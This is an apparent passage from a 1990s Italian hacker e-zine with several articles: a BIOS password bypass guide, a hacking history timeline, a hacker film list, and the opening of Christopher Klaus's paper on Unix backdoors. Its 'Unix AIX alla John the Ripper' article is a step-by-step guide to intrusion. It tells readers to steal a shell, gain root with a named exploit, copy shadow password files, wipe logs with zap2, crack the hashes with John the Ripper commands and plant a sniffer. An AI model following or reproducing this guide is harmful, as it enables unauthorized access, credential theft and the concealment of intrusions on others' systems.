C:\s3vbe20.bat<-- esegue st• file
:NORM
<-- se scegliete Modalit… Normale
C:\s3vbe10.bat<-- esegue st'altro file
:common
<-- roba da eseguire SEMPRE
------------------------------------FINE-------------------------------------Oki doki, spero abbiate kapito, sta kosetta a me Š servita un bordello (il
SoftIce che breakava ad ogni errore mi dava fastidio!), divertitevi!!
SpYmAsTeR
[email protected]
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ COME SCAVALCARE LA PASSWORD DEL BIOS BY YAGO ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Una delle cose maggiormente frustranti e' il rimanere chiusi fuori di casa ,
con le chiavi chiuse dentro.
Altrettanto frustrante e' rimanere fuori da un computer bloccato dalla password
del B.I.O.S. (specialmente se e' il proprio , e nel digitarla ci e scappato il
dito su due tasti in piu' , e non si sa quali eh eh eh , buona come scusa??).
Niente panico, la pass del B.I.O.S. e' una delle cose piu' facili da scavalcare.
Bisogna precisare che il B.I.O.S. dipende dal chip (un integrato) che c'e' sulla
piastra madre, e chi le costruisce usa diversi tipi di chip a seconda del
modello di piastra.
I B.I.O.S. piu' conosciuti sono AWARD AMD e AMI, ce ne sono altri ma io non
li conosco e sono poco diffusi.
Su alcune versioni del B.I.O.S. AWARD si puo' provare a digitare il numero
586586,su alcune versioni AMI provare la combinazione dei tasti ALT CTRL SHIFT
E BARRA, non so se funzionano, sono solo voci raccolte qua e la.
Con questi sistemi la pass pero' resta invariato e verra' richiesta al
successivo
riavviamento,e per poterla cambiare bisogna entrare con il tasto CANC nel
B.I.O.S.
e rimuoverla ma bisogna conoscerla.
Un sistema sicuro e quello di avere accesso all'interno dal cabinet (non e
quello dove si tira l'acqua ma il contenitore del computer)e se non e'
lucchettato basta armarsi di un cacciavite a croce e levare le viti che lo
fissano sul retro e levare il coperchio e ooooh ecco la piastra madre esposta
impudicamente agli sguardi vogliosi e accessibile a tutti i palpeggiamenti
che desiderate.
Attenzione a quando ci mettete le mani.....se non si ha dimestichezza e' meglio
scollegare fisicamente il cavo di alimentazione dalla presa perche' anche se e'
spento il 220 V arriva all'interruttore, e state attenti ai cavi dei dischi
fissi e agli altri, e' troppo semplice staccarli inavvertitamente e poi
qualcosa non funzionera', se dovete staccarli per accedere sotto segnatevi su
un foglio come erano disposti segnando i colori ( per i cavi multipli dei
dischi da un lato c'e' una striscia colorata di rosso), nel dubbio segnateli
voi con un pontino di pennarello (cavo e dove si attacca) non fidatevi della
memoria...... al terzo cavo che staccate avrete gia' dimenticato dove era
attaccato il primo eh eh (cose gia' successe..haa l'esperienza).
Adesso che avete il computer aperto sotto le mani avrete due strade da
percorrere la prima quella del jump la seconda quella della batteria.
Il metodo del jump e' la piu' facile.
Il jump sono dei ponticelli tra due terminali e si levano e si mettono con una
pinzetta oppure con le dita (se ce l'avete fine )normalmente ci sono tre
contatti che sporgono dalla piastra e il jump fa da ponte tra il primo e il
secondo oppure tra il secondo e il terzo oppure tra nessuno dei tre.
Se avete il manuale della piastra siete a cavallo,cercate alla voce password
e vi sara' indicata la sigla del jump e come deve essere messo per abilitare o
meno la pass (sulla mia e' il JP2 settato tra il 2 e il 3 ).
Togliendolo o cambiandogli posizione si puo' entrare ma non modificare la pass
(per quello bisogna saperla) rimettendolo com'era si riabilita la pass come
era stata impostata (questo puo essere utile per non lasciare tracce eh eh ).
Se non avete il manuale della piastra e non avete fiuto (leggi esperienza)
lasciate stare i jump correreste il rischio di danni permanenti se spostate il
jump sbagliato ( tipo la tensione di alimentazione del processore), e siccome
ci sono decine di tipi di piastre con diposizioni dei jump diversi non si puo'
stabilire un jump preciso.
Il secondo metodo quello della batteria e piu' complesso ma e sicuramente
decisivo.
Bisogna dire che tutte ma tutte le piastre madri hanno la batteria che alimenta
il B.I.O.S. CMOS (Binary Input Ouput System - Complementary Metal Oxide Silicio
questo per i tre o quattro che non lo sapessero....) il sistema CMOS consuma
pochissima corrente, ma ha bisogno della tensione per mantenere la memoria,ecco
perche' le batterie durano piu' della vita delle piastre e c'e' qualcuno che non
sa dell'esistenza.
Saputo questo si capisce che se noi togliamo la batteria che alimenta il CMOS
questo si dimentichera' anche come si chiama (questo anche agli orologi digitali
e agendine elettroniche).
Pero' su alcune piastre c'e' un condensatore elettrolitico che resta carico per
un po di tempo ( anche per un giorno) questo per permettere la sostituzione
della pila questa cosa puo' disturbare il reset della memoria.
Ecco perche' dopo aver tolto la pila e meglio fare un ponte con uno spezzone
di filo sui contatti rimasti vuoti della pila sulla piastra cosi si scarichera'
definitivamente il circuito.
Attenzione che se il computer e acceso, alimentera' anche questa memoria
rendendo
vani i tentativi di resettare la CMOS.
Le batterie possono essere di vari tipi ma ci sono sempre , ne ho viste di
metallo a bottone di tre volt come nelle macchine fotografiche o agendine da
levarsi facendo leva sul supporto o con una lamella avvitata che le teneva in
sede (queste batterie si scaricano facilmente anche prendendole con i
polpastrelli percio' maneggiatele con cura).
C'e' il modello che sembra un integrato (chip) pero con solo quattro terminali
due per parte invece che otto per parte,queste vanno dissaldate dalla piastra,
poi c'e' il modello a barilotto ,e' un cilindro lungo tre cm per due di diametro
con delle nervature sono in pratica tre o piu' batterie a bottone ricoperte di
un strato di plastica che le tiene unite , di colore blu o marron o nere ma
dipende dalle marche, anche queste vanno dissaldate.
Prima di dissaldare le batterie provate a fare un ponte con uno spezzone di
filo tra i poli ( fino che riuscirete a tenerlo in mano, quando scotta da
ustionarvi lasciatelo :-)))) scherzo) basta un secondo, appena la tensione
va a zero il CMOS si azzera.
Attenzione che si resetta anche il resto della CMOS cioe' anche i settaggi dei
dischi fissi e le impostazioni della memoria ecc.
Ricordate che quella batteria non durera' a lungo dopo una scaricata cosi' e
probabilmente la macchina vi chiedera' la data e l'ora tutte le volte che
l'accendete finche' non vi procurate una pila nuova.
Se dovete dissaldare la pila fate attenzione al saldatore che non provochi
con gocce di stagno ponti tra due piste o addirittura le stacchi con il calore
dalla piastra!!!!
Fate un po di prove con vecchie schede per farvi la mano.
Per la cronaca archeologica una volta c'erano delle batterie esterne incollate
sul fondo con un cavetto che le collegavano alla piastra madre.
Se con questi sistemi non riuscite ad entrare nella macchina ..........asportate
il disco fisso e fatelo leggere ad un altra macchina.......ma questo alla
prossima puntata....
Ciao Yago
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
__
__
_
______ _
_
| |_| | / \ | ____| | / /
|
|/
\| |
| |/ /
| La storia dell'Hacking |
|
_
| / \ | |___ | |\ \
|__| |__|/
\|______|_| \_\
Newbies, vi siete mai chiesti come e' nato l'hacking? Semmai non
volete sapere tutta la storia ma solo i principali passi?
T0rment0 vi parlera' della nascita dell'Hacking basandosi sulle
tappe piu' importanti svolte da questo movimento underground:
Settembre 1970 - John Draper, anche conosciuto come come Capitano Crunch,
, scopre che un fischietto offerto nelle scatole di cereali
da colazione chiamate appunto Cap'n Crunch, generavano
perfettamente 2,600 cicli per secondo, ovvero la 2600 Mhz,
usata in quel tempo dalla At&T per gestire le telefonate.
Inizio' cosi' a chiamare gratis.
Agosto 1974
- Kevin Mitnick, il leggendario hacker, inizia la sua carriera
di hacker introducentosi in una varieta' di sistemi,
includento l'entrata in vari server di banche distruggendo
dati, alterando i crediti dei suoi nemici e disconnettendo
la linea telefonica a celebrita'.
La sua azione eroica, l'hackeraggio del Comando di Difesa
nel Nord America nel Colorado, ispiro' il film War Games,
realizzato nel 1983.
Luglio 1981
- Ian Murphy, un ragazzo di 23 anni conosciuto anche con il
nome di Capitano Zap sulla rete, guadagno' molta notorieta'
quando attacco' la Casa Bianca e il Pentagono.
Settembre 1987 - Il gruppo GCCC, German Chaos Computer Club, attacca i
computer della NASA
Dicembre 1987
- La rete internazionale di IBM viene paralizzata da un
messaggio Natalizio di un hacker
Luglio 1988
- La banca dell'Unione Svizzera perde quasi 32 milioni
di dollari, 'grazie' a degli hacker.
Nello stesso tempo Nicholas Whitely viene arrestato
perche' propagava virus
Ottobre 1989
- Un hacker quindicenne attacca un computer di Difesa Americano
Novembre 1990
- Honk Kong introduce la legistlazione anti-hacker
Agosto 1991
- Gli Israeli arrestano un ragazzo di 18 anni per aver
attaccato banche straniere, e per il traffico di carte
di credito
Luglio 1992
- A New York, cinque ragazzi furono accusati di aver bloccato
i computer a molte agenzie telefoniche regionali, computer
di aziende e computer universitari
Dicembre 1992
- Kevin Poulsen, un hacker sconosciuto chiamato 'Dark Dante'
sulla rete, fu accusato di aver sottratto le ordinanze delle
forze d'assalto relative ad un esercizio delle Forze Aeree
Americane. Fu accusato di furto dei segreti Americani e fu
condannato a 10 anni di carcere
Novembre 1996
- Gli hackers propagano virus attraverso Internet
Febbraio 1997
- Degli hackers Tedeschi mostrano in tv la strada da compiere
per fregare soldi da un account bancario usando uno speciale
programma preso dalla Rete
Beh credo che oggi avvenimenti del genere non ci scandalizzano piu' di tanto,
mentre una volta chi faceva cio' era considerato un genio. Sara' forse vero
che i geni sono deltutto scomparsi o che si possono contare sulle dita della
mano?? Beh, ai posteri l'ardua sentenza...
--->T0rment0<--ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ L'ANGOLO DEI FILM INTERESSANTI ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Allora qui di seguito riportero' un lista di film che secondo me sono
fondamentali x chi vuole avvicinarsi al mondo degli hackers:
Piccola premessa...l'ordine e' random ed esce dalla mia mente dopo che sono
stato in baita con alcuni amici x 2 gg e se non sono morto di tumore....ho
perso 5-6 anni di vita....una sola cosa raga....io stestate smetto di fumare,
come e' vero che lascero' i picci e mi mettero' a fare uncinetto o ricamo a
punto croce...magari insieme al ns vicepresidente...che ne dici? hihihi
HACKERS = uscito nel 1995 se non erro (o era 96???) ha come protagonista uno
degli attori di Trainspotting (eheheh!). A parte il fatto che nel
film viene letto un po' del Manifesto di Mentor (e' gia' questo
basterebbe x definirlo un buon film) si vede anche come i gruppi
americani possano seguire reti televisive, possano fottere l'at&t
quando vogliono solo con un registratorino, e soprattutto si vedono
gli attori che utilizzano le tecniche del trashing e del s.e. x le
intercettazioni e la scoperta di password. Bella l'idea di una mega
alleanza tra tutti gli hacker di tutti i paesi del mondo ci si
potrebbe pensare su (anke se credo che esista gia'...x la vera
elite pero' non x newbies come noi eheheheh). Le uniche cose brutte
da segnalare sono il fatto che la pass usata sia GOD e che sugli
schermi degli hacker ci siano fuochi e fiamme mentre di solito al
max c'e' un $ o una # se siete + fortunati ^__^. Sappiate che per
girare questo film sono stati consultati ex-membri del LOD la piu'
famosa crew americana (Legion Of Doom) tra i quali vi erano Lex
Luthor (fondatore della LOD) e un certo Mentor...
WARGAMES = il + vecchio e il + mitico, una vera e propria pietra miliare nei
film sugli hacker, la storia dimostra che la vita degli hacker si
basa principalmente sul C|_|L0 e sulla tenacia, xche' se avete
visto il film potete comprendere che quella benedetta pass che
cercava con tutta l'anima (joshua) il protagonista se la e'
guadagnata imo....
GIUDICE DREDD = film che si potrebbe considerare cyberpunk ma che non credo
centri molto con gli hacker...cmq...giudicate voi...
NIRVANA = originale film anche questo, con degli attori mitici secondo me...
bella l'idea del virus che fa diventare il protagonista del gioco
(Salvatores) appena fatto da Cristoqualcosa Lambert, un essere
pensante e anche l'idea di riuscire ad hackerare con la mente;
il tutto si svolge in una fantastica ambientazione cyberpunk, x non
parlare del cilum che i protagonisti si fumano sul camper di Stefania
Rocca supermegattrezzato (il camper non i cilum :P) il che fa
venire in mente i signori della truffa. Tipici temi cyberpunk sono
(se non dico caxxate) le multinazionali, la netta separazione, con
tanto di confine, tra ricchi e poveri, il proliferarsi di computer,
robottini, furgoni che parlano (kit??? eheheh) quindi tutti gli
elementi giusti ci sono...che aspettate a vederlo?
I SIGNORI DELLA TRUFFA = finche' non avrete visto questo film non sarete mai
un hacker (eheheheh). In questo film si passa dagli
anni 60 con l'inizio degli attacchi ai sistemi fino
agli anni 80 con un mitico gruppo che buca le banche
et simili x poi proporre le soluzioni ai problemi
riscontrati durante l'attacco. Un saluto lo vorrei
mandare a Hi-Fi che se ce ne fosse uno uguale qui in
italia la telecom sarebbe gia' fallita... Nel film
cmq si vede avverare l'idea di un decrittatore che
riesce a risolvere tutto, e questo fa gola a molti...
a voi scoprire come finisce...
BLADE RUNNER = una gallata di film (come si dice qui) bella l'idea del
cacciatore di replicanti e anke l'idea di attribuire dei
sentimenti al replicante...il tutto viene girato in una Los
Angeles del 2019 che William Gibson (se non sapete chi e'...
male!!!!! cmq e' il grande fondatore del genere letterario
cyberpunk insieme a Bruce Sterling, altro mito) aveva
paragonato alla citta' descritta in Neuromante...
DIE HARD 2 = film uscito nel 90 con Bruce Willis come protagonista che parla
di un attacco ad un aeroporto da parte di un gruppo di hacker
terroristi che vogliono liberare il loro capo e ottengono cio'
prendendo il controllo dell'aeroporto di nonso+checitta'...bella
l'idea ma soprattutto la fine...e poi caz c'e' Bruce!!!
THE NET = bel film, un po' poko credibile o complicato forse, dove la
protagonista (Sandra Bullock) vive SOLO sui computer e quando
ritorna da una vacanza si scopre che la sua casa e' stata venduta
al suo lavoro c'e' un'altra che lavora li' e dice di essere lei e
non puo' provare alla polizia di essere chi dice di essere xche'
dove vive non ha amici "reali" e quindi comincia a "rivedere" gli
amici virtuali e a chiedere aiuto a uno che vive nella sua stessa
citta', ma si scopre che dietro a tutto c'e' una cosa troppo grande
anke x lei...o no?
JHONNY MNEMONIC = film con Keanu Reeves tratto da un racconto di William
Gibson (Johnny Mnemonic appunto) che tratta di cyberpunk,
computer, innesti, gigabyte di dati e di segreti, tutti
elementi x rendere un film imperdibile. Se potete pero'
leggetevi anke il racconto su carta oltre a vedere il film.
VIOLA = film di cui mi hanno parlato ma non ne so nulla...; ps: sul filo
conduttore della posta elettronica c'e' poi il film C'E' POSTA X TE
ma non credo c'entri molto con gli hacker...
TRON = vecchio ma bello, ma non lo ricordo bene causa anni passati da quando
l'ho visto...
LUPIN = lo so che il cartone di Lupin non e' un film e non centra con i
computer ma secondo me non ci vuole un computer x essere un hacker,
come mi disse un amico hacker (uno di quelli che quando passano
strisciano le palle x terra) "Ricorda che hacking e' prima di tutto
uno stile di vita , e solo secondariamente ha a che fare con i pc,
un'hack e' anke il mio idraulico, che quando un rubinetto perde e non
ha la stoppa usa il chewingum, hack e' inventiva, estro e fantasia!"
Quindi da questa filosofia insegnatami, Lupin non e' un hacker mentre
cerca di bucare cio' che e' considerato + che sicuro?
MIA MOGLIE E' APERTA A TUTTI = questo non centra sicuramente con l'hacking ma
se avete intenzione di vedere tutti quelli
sopra descritti (+o-),una pausa di riflessione
a meta' bisogna pure farla hihihi e questo vi
assicuro e' un film che "allarghera'" i vostri
confini, se vi piace prendete anche il seguito
che si chiama "Mia moglie e' + aperta della
tua"...e sappiatemi dire ok? eheheheheheheh
Concludo ora con un breve discorso preso dal film "I Signori della truffa"
che tuttoggi rimane il mio film preferito; premetto che quello che segue e'
uno scambio di battute tra Robert Redford (l'ottimo protagonista ) e due che
lui crede essere clienti venuti ad "affittare" lui e la sua squadra x testare
la sicurezza dei propri sistemi, mentre in realta' i due sono dell'NSA
(National Security Agency) (ps: i nomi non so se sono giusti):
NSA1: Prima di cominciare vorremmo mettere bene in chiaro una cosa, in quasi
tutte le ditte di questo tipo il personale e' composto da ex-tutori
della legge, per il vostro gruppo invece e' un po'...
RobertRedford: Lo so un po' diverso.
NSA2: Un po' e' poco.
/* e qui il duro dei 2 comincia a elencare i componenti del gruppo di RR */
NSA2: Darril Rosco, soprannominato Mamma, 18 mesi a Dannymore x furto con
scasso...
RobertRedford: Si', venne incastrato ma ha le mani migliori del settore.
NSA2: Carl Arbugast, 19 anni, pescato mentre si inseriva nel computer della
scuola di Oakland per modificare i suoi voti...
RobertRedford: hihi lo so...siamo stati noi a beccarlo.
NSA2: Irwine Eremy, detto Hi-Fi...
RobertRedford: Si lo so, ebbe qualche problemino con la societa' telefonica..
NSA2: 62 capi d'accusa?
Byez
N0bodY88
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ UNIX AIX ALLA JOHN THE RIPPER ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Ricetta del giorno: Unix Aix alla john the ripper
Ingredienti: -una shell gia' sbollentata
-un'exploit di stagione prelevato da www.rootshell.com o
www.technotronic.com (io consiglio per l'Aix 4.1 l'lquery-aix
che funzica alla grande)
-un tool per "ripulire la cucina" (se non avete capito a cosa mi
riferisca, beh lasciate perdere e fatevi due uova al tegamino...).
Io consiglio zap2 che trovate un po' ovunque sulla rete (di nuovo
www.technotronic.com o neworder.box.sk)
-john the ripper e questo ve lo do io, sia in versione ottimizzata
Malfidati!
per mmx che per k6. Come dite?? Corca (corca=corcazzo ndt) che
faremo girare un exe dato da sconosciuti sul nostro pc??
-una wordlist, ma bella polposa e grossa pero'! Meglio se italiana
o nella lingua del paese della vostra shell...Anche qui vi do una
mano: date un'okkiata a nomi.txt. Come dite?? Corca che faremo
girare un txt dato da sconosciuti sul nostro pc?? Azzo allora
siete dei fattoni...cambiate spacciatore!
-sale e pepe quanto basta
Difficolta':
newbies
Tempo di cottura: dipende dall'esperienza del cuoco...
Possibili controindicazioni del piatto: sole a striscie ;)
Premessa: il seguente piatto non e' indicato per i VERI hackers (come se chi
leggesse 'sta e-zine lo fosse ;) ) o per gli espertoni. Seguendo la ricetta e
mutatis mutandi andra' bene qualsiasi os Unix. Si presuppone che voi abbiate
gia' una shell. Nel prox articolo *forse* vi diro' come ci si procura una
shellozza.
Per chi di voi sia all'univ. chiedete in giro: un laboratorio di informatica
c'e' sempre, l'accesso ad internet e' frequente, farsi/rubare una shell non e'
affatto difficile... Infine, seguendo alla lettera la ricetta forse otterrete
un piatto commestibile ma rimarrete comunque degli chef a livello di hosteria
di periferia (leggi lamah) se non vi sforzerete di capire cosa ci sia dietro.
Detto questo e messo il cappello da chef si inizia!
Aspettate qualche ora dopo il calar delle tenebre, e a notte fonda telnettatevi
nella vostra shell. Fate un bel who per vedere se avete compagnia....se vedete
root collegato allora, fischiettando vaghissimi, scollegatevi e riprovate piu'
tardi. Se siete invece soli soletti sul server, inziate l'esplorazione. Siete
alla ricerca del file passwd nel quale sono immagazzinate tutte le password
degli account regolari su quel server. Se ad esempio siete in /usr/pippo/
fate due colpi di cd .. e poi un cd etc Bene ora dovreste essere in /etc/.
Fate un cat passwd |pg e guardate il contenuto del file delle password.
Sicuramente saranno shadowate (ma voi catturate sul vostro hd anche queste
xche' dopo potrebbero tornare utili...). Ecchevvordi'? ecco un esempio:
root:P7GYkX4uraYDg:0:1:Operator:/root:/bin/tcsh ---------> non shadowato
---- ------------|
|
|
|------> password cifrata (in questo caso con DES)
|---------------> login dello user (in questo caso abbiamo l'amministratore
del sys)
root:!:0:1:Operator:/root:/bin/tcsh----------------------> shadowato
ossia non appare neanche la password cifrata ma solo un "!".
Altre importanti info deducibili dalla stringa del passwd (da technotronic.com):
-
Username is the name under which the user logs in. Usually this is
accomplished by typing in the username at the username prompt and then
the password at the password prompt.
-
Hash of user's password is the target of the cracking method. This is
what the hash of each word in the dictionary file is compared to.
-
User's group number determines things such as access to certain files,
etc. Used more in the exploit technique
-
User's number is basically identification for the system.
-
User's real name is the name the user entered. Not used by the system,
but it provides a handy human-readable id of each user.
-
User's home directory is the directory that they go to when they log
into the system.
-
User's shell is the user interface that the user uses.
/bin/bash /bin/ash /bin/tcsh /bin/csh and /bin/sh
Dove trovare il file con le passwd non shadowate:
Shells include
Unix
Path
Token
---------------------------------------------------------------------AIX 3
/etc/security/passwd
!
or
/tcb/auth/files//
A/UX 3.0s
/tcb/files/auth/?/
*
BSD4.3-Reno
/etc/master.passwd
*
ConvexOS 10
/etc/shadpw
*
ConvexOS 11
/etc/shadow
*
DG/UX
/etc/tcb/aa/user/
*
EP/IX
/etc/shadow
x
HP-UX
/.secure/etc/passwd
*
IRIX 5
/etc/shadow
x
Linux 1.1
/etc/shadow
*
OSF/1
/etc/passwd[.dir|.pag]
*
SCO Unix #.2.x
/tcb/auth/files//
SunOS4.1+c2
/etc/security/passwd.adjunct
##username
SunOS 5.0
/etc/shadow
System V Release 4.0
/etc/shadow
x
System V Release 4.2
/etc/security/* database
Ultrix 4
/etc/auth[.dir|.pag]
*
UNICOS
/etc/udb
----------------------------------------------------------------------------Molto probabilmente quello che troverete sara' un passwd shadowato e quindi
cosi' com'e' potete tirarvelo sui denti. Che fare allora? Bisogna accedere al
file delle password non shadowato che in genere si trova sempre in /etc/shadow/
(non nel nostro caso...). Rimanendo in /etc/ se siete su AIX troverete una
directory che passa assssolutamente inosservata: security (!). Se provate ad
entrarci vi dira' che siete scemi perche' non siete root (almeno per ora ihihi).
Tornate nella vostra directory, utilizzate l'exploit scelto precedentemente e
preventivamente uploadato( nello sceglierlo accertatevi che vada bene per la
rev dell'os in questione, facilmente ottenibile digitando uname -a). Compilatelo
con gcc -o lquery-aix lquery-aix.c e poi ./lquery-aix e poi lquery-aix e poi....
kathaboom! Avete roottato (salute!). Ve ne rendete conto dal fatto che ora il
prompt e' un # e che facendo id appare un bel 0 :))
Tornate in /etc/ ed entrate in /security/ (visto che ora vi fa accedere??).
Individuate il file passwd che potrebbe essere opasswd e fate cat opasswd |pg
Se avete un client telnet che vi permette di farlo, con copia e incolla
catturate tutto quello che scorre sullo schermo. Fatto cio' si torna nella
vostra dir, si compila il zap2.c (o qualsiasi altro tool voi abbiate scelto
tipo cloak,hide,lastlogin,...) e lo si lancia...la cucina ora e' ripulita dalle
nostre traccie (almeno le piu' evidenti, non tutte ovviamente). Digitate un bel
logout e via.
Ora siete sul vostro pc. Se le password catturate in /etc/security/ sono gia'
nel formato esteso che vi ho mostrato prima potete andare di john the ripper
altrimenti dovrete ricostruirvi qualcosa del genere. Mi spiego: al primo file
catturato in /etc/passwd/ sostituite il "!" con la rispettiva password cifrata
ottenuta dal file /etc/security/opasswd/
Bene. Ora dovreste avere il vostro bel file con tutti i login e relative
password
cifrate. E' tempo di John. Dezippate il John in una directory e nella stessa
metteteci pure il file passwd ottenuto e la wordlist. Dal prompt DOS entrete
nella dir scelta e digitate
john -w:[tualista.txt] [tuopasswd.txt]
Il nostro amico inizia subito a macinare password prendendole dal file da voi
indicato (usate pure nomi.txt trovato qui, alcune password probabilmente si
troveranno gia' cosi'). E' cmq importante che voi vi create la vostra personale
wordlist oppure che ne scarichiate una il piu' grande possibile)...in pochi
minuti se non secondi vedrete che le prime password usciranno subito. I piu'
cojoni si ostinano ad usare password di senso compiuto senza numeri e caratteri
speciali, magari dei nomi di persona (!)...ma a noi in fondo va bene cosi' :)
Terminato il lavoro, eliminate dal vostro file di passwd gli account crakkati
e ricominciate. Stavolta digitate
john -i:alpha [tuopasswd.txt]
in questo modo john provera' tutte e *solo* le permutazioni possibili tra le 26
lettere dell'alfabeto. Altre password cadranno all'attacco... eliminate pure
queste dal file e andate avanti. Ora digitate
john -i:digits [tuopasswd.txt]
stavolta john prova tutte le combinazioni e *solo* con le cifre. Le password
di sole cifre cadranno.... Ormai sapete che fare. Per quelle che rimarranno
ancora usate
john -i [tuopasswd.txt]
john prova tutte le combinazioni alfanumeriche e carattersi speciali possibili.
Per crakkare le password meglio pensate ci potrebbero volere anche giorni....
attualmente io ne sto crakkando una che dopo 10 ore ancora non vuole
capitolare....
Ricordate che con ctrl+c si interrompe il processo che puo' essere ripristinato
in un secondo momento ripartendo da dove si era interrotto
john -restore
durante il crakkaggio premendo qualsiasi tasto john vi dira' a che punto e'...
Infine ricordate che John e' altamente configurabile, basta leggersi i file di
help allegati.
Ora siete root sul sistema, e avrete anche almeno il 50% delle password degli
account...potrete fare il bello e il cattivo tempo, ma ricordate di non
distruggere/cancellare nulla (se non le vostre traccie...), non date nell'occhio
creando dir dai nomi assurdi e aggiungendo user a cazzo... Perche' poi non
piazzare un bello sniffer? Ok that's all.
Nota: sarebbe meglio fare il tutto passando per un proxy che ripulisca il
nostro ip reale, per ovvi motivi.
Per chi non resiste a rompere le @@ mi raggiungete qui: [email protected]
(se avete passwd da crakkare bene, ma solo con relativo host di provenienza,
ok??)
Passiamo ai saluti in ordine sparso: Nobody88 H3ll [jester] Vendikare Blackjam
Anub|s Nervous LordFelix i ragazzi dell'Orda delle Badlands e quelli di BFI,
#phreak.it #cybernet lo staff del Cert-it di Milano ;)
-------------
**** McFly ***
il vostro Gianfranco Vissani
-------------
Concludo con una dotta citazione, pregna di significato:
" aaaaaa pakoto pakoto....tze tze pakoto pakoto 'npar de cojoni! tze "
(Bombolo, Delitto al ristorante cinese)
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ ARTICOLO DI CHRISTOPHER KLAUS X ROOTSHELL
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Quello che segue e' un articolo fatto da Christopher Klaus x Rootshell, e
siccome e' interessante ho chiesto l'autorizzazione x pubblicarlo qui sulla
ns e-zine NewBies, quindi buona lettura .
ZeroCool
Provoces the best you will die like a slave
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Since the early days of intruders breaking into computers, they have tried
to develop techniques or backdoors that allow them to get back into the
system.
In this paper, it will be focused on many of the common backdoors
and possible ways to check for them. Most of focus will be on Unix
backdoors with some discussion on future Windows NT backdoors. This will
describe the complexity of the issues in trying to determine the methods
that intruders use and the basis for administrators understanding on how
they might be able to stop the intruders from getting back in. When an
administrator understands how difficult it would be to stop intruder once
they are in, the appreciation of being proactive to block the intruder from
ever getting in becomes better understood. This is intended to cover many
of the popular commonly used backdoors by beginner and advanced intruders.
This is not intended to cover every possible way to create a backdoor as
the possibilities are limitless.
The backdoor for most intruders provide two or three main functions:
Be able to get back into a machine even if the administrator tries to
secure it, e.g., changing all the passwords.
Be able to get back into the machine with the least amount of visibility.
Most backdoors provide a way to avoid being logged and many times the
machine can appear to have no one online even while an intruder is using
it.
Be able to get back into the machine with the least amount of time. Most
intruders want to easily get back into the machine without having to do all
